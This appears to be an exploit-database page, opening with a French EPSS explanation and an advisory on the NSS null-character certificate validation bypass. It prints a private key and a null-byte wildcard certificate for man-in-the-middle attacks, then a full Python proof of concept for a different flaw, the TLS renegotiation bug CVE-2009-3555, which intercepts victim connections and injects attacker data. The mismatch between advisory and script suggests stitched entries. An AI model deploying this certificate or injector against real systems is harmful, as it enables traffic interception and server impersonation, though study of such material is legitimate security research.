EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
source: https://www.securityfocus.com/bid/35888/info
Mozilla Network Security Services (NSS) is prone to a security-bypass vulnerability because it fails to properly validate the domain name in a signed CA certificate, allowing attackers to substitute malicious SSL certificates for trusted ones.
The NSS library is used by a number of applications, including Mozilla Firefox, Thunderbird, and SeaMonkey.
Successfully exploiting this issue allows attackers to perform man-in-the-middle attacks or impersonate trusted servers, which will aid in further attacks.
NOTE (August 6, 2009): This BID had included a similar issue in Fetchmail, but that issue is now documented in BID 35951 (Fetchmail NULL Character CA SSL Certificate Validation Security Bypass Vulnerability).
Private-Key: (1024 bit)
modulus:
00:cf:4d:17:42:00:8d:0c:41:95:31:8c:40:30:bc:
5e:42:b6:28:09:75:2f:19:61:d9:ab:4d:ec:f3:44:
c4:1c:01:95:6f:27:eb:70:07:98:4f:1e:05:d0:f3:
6c:49:45:e6:de:48:7a:59:f0:c2:93:6a:37:9c:02:
72:4f:bd:14:36:26:a1:70:97:d4:fe:4b:24:e8:cd:
29:1e:61:1a:85:b0:6f:96:06:83:10:13:d6:89:9f:
bd:07:67:f1:42:de:9b:63:67:8b:96:f9:06:ef:7c:
93:4b:6a:f9:39:31:32:7f:98:59:ef:ce:91:be:05:
ce:f0:82:33:d8:76:06:4c:9f
publicExponent: 65537 (0x10001)
privateExponent:
00:8c:4f:3b:7c:ba:ee:bc:ea:ee:d6:58:7d:61:ff:
3d:35:9e:21:3f:35:87:a9:80:67:59:e1:26:8e:09:
6f:4b:1d:6f:4d:8b:11:7a:04:49:fc:d2:ef:50:dc:
51:e0:ce:65:52:f2:6f:8d:cc:bd:86:15:90:8a:11:
c5:d9:5e:ba:fc:2b:fc:e3:a0:cd:c8:f0:9a:05:76:
06:82:07:a9:bd:14:cc:c7:7e:54:b9:32:5b:40:7a:
35:0a:26:80:d7:30:98:d6:b7:71:d5:9d:f4:0d:f2:
28:b5:a9:0c:2e:6d:78:19:86:a9:31:b0:a1:43:1c:
57:2c:78:a9:42:b2:49:d8:71
prime1:
00:ec:07:79:1d:e2:50:14:77:af:99:18:1b:14:d4:
0c:25:0c:20:26:0d:dd:c7:75:0e:08:d3:77:72:ce:
2d:57:80:9d:18:bb:60:7b:b2:62:4e:21:a1:e6:84:
96:91:31:15:cc:5b:89:5b:5a:83:07:96:51:e4:d4:
e6:3a:40:99:03
prime2:
00:e0:d7:5a:07:0e:cc:a6:17:22:f8:ec:51:b1:7b:
17:af:3a:87:7b:f1:e4:6d:40:48:28:d2:c0:9c:93:
e0:f1:8f:79:07:8f:00:e0:49:1d:0e:8c:65:41:ba:
c8:20:e2:ae:78:54:75:6b:f0:41:e5:d1:9c:2e:23:
49:79:53:35:35
exponent1:
15:17:15:db:75:bd:72:16:bf:ba:0e:4d:5d:2f:15:
66:ba:0e:a5:57:d7:d9:5a:bc:46:4d:9e:fe:c3:2d:
8a:04:14:05:81:b8:bd:54:d3:33:e8:0d:6f:6b:a9:
88:8f:ba:42:e8:6a:fd:9e:b8:d6:94:b7:fc:9a:89:
77:eb:0d:c1
exponent2:
5c:5a:38:61:63:c3:cd:88:fd:55:6f:84:12:b9:73:
be:06:f5:75:84:a3:05:f8:fc:6a:c0:3e:5b:52:26:
78:32:2d:4d:5c:80:c8:9f:5f:6f:05:5d:e6:04:b9:
85:40:76:d7:78:21:8f:07:6d:99:df:62:1e:55:62:
2d:92:6e:ed
coefficient:
00:c5:62:ea:ee:85:5c:eb:e6:07:12:58:a5:63:5a:
8f:e3:b3:df:c5:1e:cc:01:cd:87:d4:12:3f:45:8e:
a9:4c:83:51:31:5a:e5:8d:11:a1:e3:84:b8:b4:e1:
12:33:eb:2d:4c:4e:8c:49:e2:0d:50:aa:ca:38:e3:
e6:c2:29:86:17
Certificate Request:
Data:
Version: 0 (0x0)
Subject: C=US, CN=*\x00thoughtcrime.noisebridge.net, ST=California, L=San Francisco, O=Noisebridge, OU=Moxie Marlinspike Fan Club
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cf:4d:17:42:00:8d:0c:41:95:31:8c:40:30:bc:
5e:42:b6:28:09:75:2f:19:61:d9:ab:4d:ec:f3:44:
c4:1c:01:95:6f:27:eb:70:07:98:4f:1e:05:d0:f3:
6c:49:45:e6:de:48:7a:59:f0:c2:93:6a:37:9c:02:
72:4f:bd:14:36:26:a1:70:97:d4:fe:4b:24:e8:cd:
29:1e:61:1a:85:b0:6f:96:06:83:10:13:d6:89:9f:
bd:07:67:f1:42:de:9b:63:67:8b:96:f9:06:ef:7c:
93:4b:6a:f9:39:31:32:7f:98:59:ef:ce:91:be:05:
ce:f0:82:33:d8:76:06:4c:9f
Exponent: 65537 (0x10001)
Attributes:
a0:00
Signature Algorithm: md5WithRSAEncryption
64:e6:b2:77:45:74:c3:dc:f6:3d:e7:73:7f:0f:fb:dd:d7:30:
c3:0f:30:d5:52:2c:6b:41:ad:40:2b:4b:07:2a:de:80:69:d4:
a7:0b:6f:ed:cc:62:e7:4d:e1:fc:1e:81:0d:94:b9:c8:9b:14:
0a:10:d4:8e:f9:53:76:11:51:1d:c9:80:ca:15:e5:78:02:e1:
d1:89:95:b5:4a:3f:e0:f7:f3:35:ad:1f:7d:85:5b:8c:f5:de:
70:05:8f:4f:1d:cb:23:83:dd:63:b7:2f:1a:8c:a1:3c:67:d9:
f9:fc:63:c0:dc:bb:72:56:13:f6:3d:db:8e:d5:dc:01:9a:20:
a2:dc
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+tw
B5hPHgXQ82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQ
E9aJn70HZ/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQAB
AoGBAIxPO3y67rzq7tZYfWH/PTWeIT81h6mAZ1nhJo4Jb0sdb02LEXoESfzS71Dc
UeDOZVLyb43MvYYVkIoRxdleuvwr/OOgzcjwmgV2BoIHqb0UzMd+VLkyW0B6NQom
gNcwmNa3cdWd9A3yKLWpDC5teBmGqTGwoUMcVyx4qUKySdhxAkEA7Ad5HeJQFHev
mRgbFNQMJQwgJg3dx3UOCNN3cs4tV4CdGLtge7JiTiGh5oSWkTEVzFuJW1qDB5ZR
5NTmOkCZAwJBAODXWgcOzKYXIvjsUbF7F686h3vx5G1ASCjSwJyT4PGPeQePAOBJ
HQ6MZUG6yCDirnhUdWvwQeXRnC4jSXlTNTUCQBUXFdt1vXIWv7oOTV0vFWa6DqVX
19lavEZNnv7DLYoEFAWBuL1U0zPoDW9rqYiPukLoav2euNaUt/yaiXfrDcECQFxa
OGFjw82I/VVvhBK5c74G9XWEowX4/GrAPltSJngyLU1cgMifX28FXeYEuYVAdtd4
IY8HbZnfYh5VYi2Sbu0CQQDFYuruhVzr5gcSWKVjWo/js9/FHswBzYfUEj9FjqlM
g1ExWuWNEaHjhLi04RIz6y1MToxJ4g1Qqso44+bCKYYX
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE REQUEST-----
MIIB3jCCAUcCADCBnjELMAkGA1UEBhMCVVMxJzAlBgNVBAMUHioAdGhvdWdodGNy
aW1lLm5vaXNlYnJpZGdlLm5ldDETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UE
BxMNU2FuIEZyYW5jaXNjbzEUMBIGA1UEChMLTm9pc2VicmlkZ2UxIzAhBgNVBAsT
Gk1veGllIE1hcmxpbnNwaWtlIEZhbiBDbHViMIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+twB5hP
HgXQ82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQE9aJ
n70HZ/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQABoAAw
DQYJKoZIhvcNAQEEBQADgYEAZOayd0V0w9z2Pedzfw/73dcwww8w1VIsa0GtQCtL
ByregGnUpwtv7cxi503h/B6BDZS5yJsUChDUjvlTdhFRHcmAyhXleALh0YmVtUo/
4PfzNa0ffYVbjPXecAWPTx3LI4PdY7cvGoyhPGfZ+fxjwNy7clYT9j3bjtXcAZog
otw=
-----END CERTIFICATE REQUEST-----
-----BEGIN CERTIFICATE-----
MIIGTjCCBbegAwIBAgIDExefMA0GCSqGSIb3DQEBBQUAMIIBEjELMAkGA1UEBhMC
RVMxEjAQBgNVBAgTCUJhcmNlbG9uYTESMBAGA1UEBxMJQmFyY2Vsb25hMSkwJwYD
VQQKEyBJUFMgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgcy5sLjEuMCwGA1UEChQl
Z2VuZXJhbEBpcHNjYS5jb20gQy5JLkYuICBCLUI2MjIxMDY5NTEuMCwGA1UECxMl
aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEuMCwGA1UEAxMl
aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEgMB4GCSqGSIb3
DQEJARYRZ2VuZXJhbEBpcHNjYS5jb20wHhcNMDkwNzMwMDcxNDQyWhcNMTEwNzMw
MDcxNDQyWjCBnjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAU
BgNVBAcTDVNhbiBGcmFuY2lzY28xFDASBgNVBAoTC05vaXNlYnJpZGdlMSMwIQYD
VQQLExpNb3hpZSBNYXJsaW5zcGlrZSBGYW4gQ2x1YjEnMCUGA1UEAxQeKgB0aG91
Z2h0Y3JpbWUubm9pc2VicmlkZ2UubmV0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+twB5hPHgXQ
82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQE9aJn70H
Z/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQABo4IDITCC
Ax0wCQYDVR0TBAIwADARBglghkgBhvhCAQEEBAMCBkAwCwYDVR0PBAQDAgP4MBMG
A1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdDgQWBBStfpIwBXE+eXWUWtE3s5JqXon2
TzAfBgNVHSMEGDAWgBQOB2DUOckbW12QeyPI0jSdSppGOTAJBgNVHREEAjAAMBwG
A1UdEgQVMBOBEWdlbmVyYWxAaXBzY2EuY29tMHIGCWCGSAGG+EIBDQRlFmNPcmdh
bml6YXRpb24gSW5mb3JtYXRpb24gTk9UIFZBTElEQVRFRC4gQ0xBU0VBMSBTZXJ2
ZXIgQ2VydGlmaWNhdGUgaXNzdWVkIGJ5IGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS8w
LwYJYIZIAYb4QgECBCIWIGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS9pcHNjYTIwMDIv
MEMGCWCGSAGG+EIBBAQ2FjRodHRwczovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAy
L2lwc2NhMjAwMkNMQVNFQTEuY3JsMEYGCWCGSAGG+EIBAwQ5FjdodHRwczovL3d3
dy5pcHNjYS5jb20vaXBzY2EyMDAyL3Jldm9jYXRpb25DTEFTRUExLmh0bWw/MEMG
CWCGSAGG+EIBBwQ2FjRodHRwczovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAyL3Jl
bmV3YWxDTEFTRUExLmh0bWw/MEEGCWCGSAGG+EIBCAQ0FjJodHRwczovL3d3dy5p
cHNjYS5jb20vaXBzY2EyMDAyL3BvbGljeUNMQVNFQTEuaHRtbDCBgwYDVR0fBHww
ejA5oDegNYYzaHR0cDovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAyL2lwc2NhMjAw
MkNMQVNFQTEuY3JsMD2gO6A5hjdodHRwOi8vd3d3YmFjay5pcHNjYS5jb20vaXBz
Y2EyMDAyL2lwc2NhMjAwMkNMQVNFQTEuY3JsMDIGCCsGAQUFBwEBBCYwJDAiBggr
BgEFBQcwAYYWaHR0cDovL29jc3AuaXBzY2EuY29tLzANBgkqhkiG9w0BAQUFAAOB
gQAjzXaLBu+/+RP0vQ6WjW/Pxgm4WQYhecqZ2+7ZFbsUCMJPQ8XE2uv+rIteGnRF
Zr3hYb+dVlfUnethjPhazZW+/hU4FePqmlbTtmMe+zMLThiScyC8y3EW4L4BZYcp
p1drPlZIj2RmSgPQ99oToUk5O6t+LMg1N14ajr9TpM8yNQ==
-----END CERTIFICATE-----
#!/usr/bin/env python
######################################
# #
# RedTeam Pentesting GmbH #
#
[email protected] #
# http://www.redteam-pentesting.de #
# #
######################################
# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)
# License
# -------
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/
# Timeline
# --------
# 2009-12-21 initial public release
# Known Issues
# ------------
# Firefox: if it fails connecting to a TLS site too often, falls back to
# issuing SSLv2 ClientHello only until browser is restarted
#
# wget: attempts SSLv2 ClientHello by default
# References
# ----------
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
# http://www.phonefactor.com/sslgap
# http://www.extendedsubset.com/
# http://www.g-sec.lu/practicaltls.pdf
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01
import tlslite
import tlslite.api
import tlslite.messages
import tlslite.constants
import struct
import socket
import threading
import array
import sys
import optparse
if not hasattr(threading.Thread, 'name'):
# emulate python 2.6 threading module for earlier versions
threading.current_thread = threading.currentThread
setattr(threading.Thread, 'name',
property(threading.Thread.getName, threading.Thread.setName))
def forward(sock1, sock2):
sock1.settimeout(1.0)
while True:
try:
data = sock1.recv(4096)
if not data:
return
sock2.send(data)
except socket.error, ex_error:
if ex_error[0] == 104: # Connection reset by peer
return
except socket.timeout, ex_timeout:
pass
class MessageWrapper(object):
def __init__(self, version = (3, 1), ssl2 = False):
self.contentType = tlslite.messages.ContentType.handshake
self.ssl2 = ssl2
self.client_version = version
def setType(self, type):
self.contentType = type
def addBytes(self, bytes):
self.bytes = bytes
def write(self, trial=False):
if trial:
raise Exception('Unsupported')
return array.array('B', self.bytes)
def send_record(sock, msg_type, version_major, version_minor, record):
msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))
if type(record) != str:
msg += record.tostring()
else:
msg += record
sock.send(msg)
def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):
msg = MessageWrapper(version)
msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))
msg.setType(type)
for dummy in sslsock._sendMsg(msg, True):
pass
def decrypt_record(sslsock, type, recordbytes):
for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):
pass
return result
def recv_record(sock):
try:
header = sock.recv(5)
if not header:
return None, None, None, None
msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)
record = ''
while len(record) != msg_length:
record += sock.recv(msg_length - len(record))
return msg_type, msg_version_major, msg_version_minor, record
except socket.error, ex:
if ex[0] == 104: # Connection reset by peer
return
def recv_clienthello(sock):
header_bytes = []
header_bytes.append(sock.recv(1))
header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]
if header_bytes[0] & 0x80:
# Version 2.0 Client "Record Layer"
header_bytes.append(sock.recv(1))
header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]
msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]
msg_version_major = 2
msg_version_minor = 0
msg_type = tlslite.constants.ContentType.handshake
record = sock.recv(msg_length)
else:
header = sock.recv(4)
msg_type = header_bytes[0]
msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)
record = sock.recv(msg_length)
return msg_type, msg_version_major, msg_version_minor, record
def send_hello_request(sock):
sock.send("\x16" # Record Layer: Handshake Message
+"\x03\x01" # Record Layer Version: TLS 1.0
+"\x00\x04" # Record Layer Length: 4
+"\x00" # Handshake Message Type: Hello Request
+"\x00\x00\x00") # Handshake Message Length: 0
def send_protocol_version_alert(sock):
sock.send("\x15" # Record Layer: Alert"
+"\x03\x01" # Record Layer Version: TLS 1.0
+"\x00\x02" # Record Layer Length: 2
+"\x00" # Alert Message: fatal
+"\x46") # Alert Message: protocol version
def handle_victim(victim, options, mitmcount):
if options.one_shot and mitmcount != 0:
print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(options.target)
print threading.current_thread().name, 'Connected to target %s:%u' % options.target
except socket.error, ex:
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)
t1 = threading.Thread(target=forward, args=(sock, victim))
t1.start()
t2 = threading.Thread(target=forward, args=(victim, sock))
t2.start()
t1.join()
sock.close()
t2.join()
victim.close()
return
# obtain initial "client hello" message
msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)
if msg_version_major == 2:
print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"
return
tls_version = (msg_version_major, msg_version_minor)
type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])
resume_session = (session_id_length != 0)
if resume_session:
print threading.current_thread().name, "client attempting to resume session"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(options.target)
print threading.current_thread().name, 'Connected to target %s:%u' % options.target
except socket.error, ex:
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)
sslsock = tlslite.api.TLSConnection(sock)
handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()
handshake_settings.minVersion = tls_version
handshake_settings.maxVersion = tls_version
sslsock.handshakeClientCert(settings = handshake_settings)
# inject prefix
sslsock.write(options.inject)
print threading.current_thread().name, 'Injected %s' % repr(options.inject)
# send original "client hello" message over the encrypted channel
send_encapsulated(sslsock, 22, hello_msg, tls_version)
# now receive serveral TLS messages from the server, decrypt them, and forward
# them to the client, until the server sends "server hello done"
# these messages include "server hello", "certificate", "server key exchange",
# unless the client is trying to resume a previous session
print threading.current_thread().name, "about to receive server handshake messages"
server_handshake_done = False
while not server_handshake_done:
msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)
if result:
result = decrypt_record(sslsock, msg_type, result)
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
if result[0] == 0x0e: # server hello done - should terminate handshake
server_handshake_done = True
elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant
server_handshake_done = True
else:
print threading.current_thread().name, 'receive from server failed, exiting thread'
return
print threading.current_thread().name, "server handshake done"
# now its the the client's turn to send some messages, e.g.
# "client key exchange" and "change cipher spec"
print threading.current_thread().name, "about to receive client handshake messages"
handshake_finished = False
while not handshake_finished:
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
print threading.current_thread().name, msg_type
send_encapsulated(sslsock, msg_type, record, tls_version)
if msg_type == 0x14: # change cipher spec
handshake_finished = True
print threading.current_thread().name, "client handshake done"
# message after "change cipher spec" must be sent in the "clear"
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)
# server should now send "change cipher spec" message, we decrypt and send that to the victim
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
result = decrypt_record(sslsock, msg_type, record)
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
# finalize handshake
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
if record:
send_record(victim, msg_type, msg_version_major, msg_version_minor, record)
else:
sslsock.sock.close()
victim.close()
del sslsock
return
# the rest is just forwarding TLS records between both parties,
# which we cannot interfere with anymore, apart from dropping server
# responses
if options.drop:
sslsock.sock.close()
del sslsock
else:
t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))
t1.start()
t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))
t2.start()
if not options.drop:
t1.join()
sslsock.sock.close()
t2.join()
victim.close()
if __name__ == "__main__":
parser = optparse.OptionParser()
parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)
parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')
parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )
parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')
parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')
parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')
parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')
parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')
(options, args) = parser.parse_args()
if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:
print 'Exactly one injection option must be specified'
sys.exit(1)
if options.inject_file:
try:
options.inject = open(options.inject_file, 'r').read()
except IOError, ex:
print ex
sys.exit(1)
if options.inject_base64:
import base64
try:
options.inject = base64.decodestring(options.inject_base64)
except base64.binascii.Error, ex:
print 'Error decoding base64 data: %s' % ex
sys.exit(1)
if not options.listen_port or \
not options.bind_address or \
not options.target or \
not options.inject:
parser.print_help()
sys.exit(1)
target = options.target.split(':')
if len(target)==2:
try:
target[1] = int(target[1])
except ValueError:
target[1] = None
if len(target)!=2 or not target[0] or not target[1]:
print 'Target \'%s\' not in format HOST:PORT' % options.target
sys.exit(1)
options.target = tuple(target)
try:
listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listensocket.bind((options.bind_address, options.listen_port))
print 'Listening on %s:%u' % (options.bind_address, options.listen_port)
except socket.error, ex:
print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)
print 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)
listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listensocket.listen(5)
mitmcount = 0
while True:
try:
victim, victimaddr = listensocket.accept()
print 'New connection from %s:%u' % victimaddr
threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()
mitmcount += 1
except KeyboardInterrupt, ex:
print '\nAborted by user, exiting...'
listensocket.close()
sys.exit(1)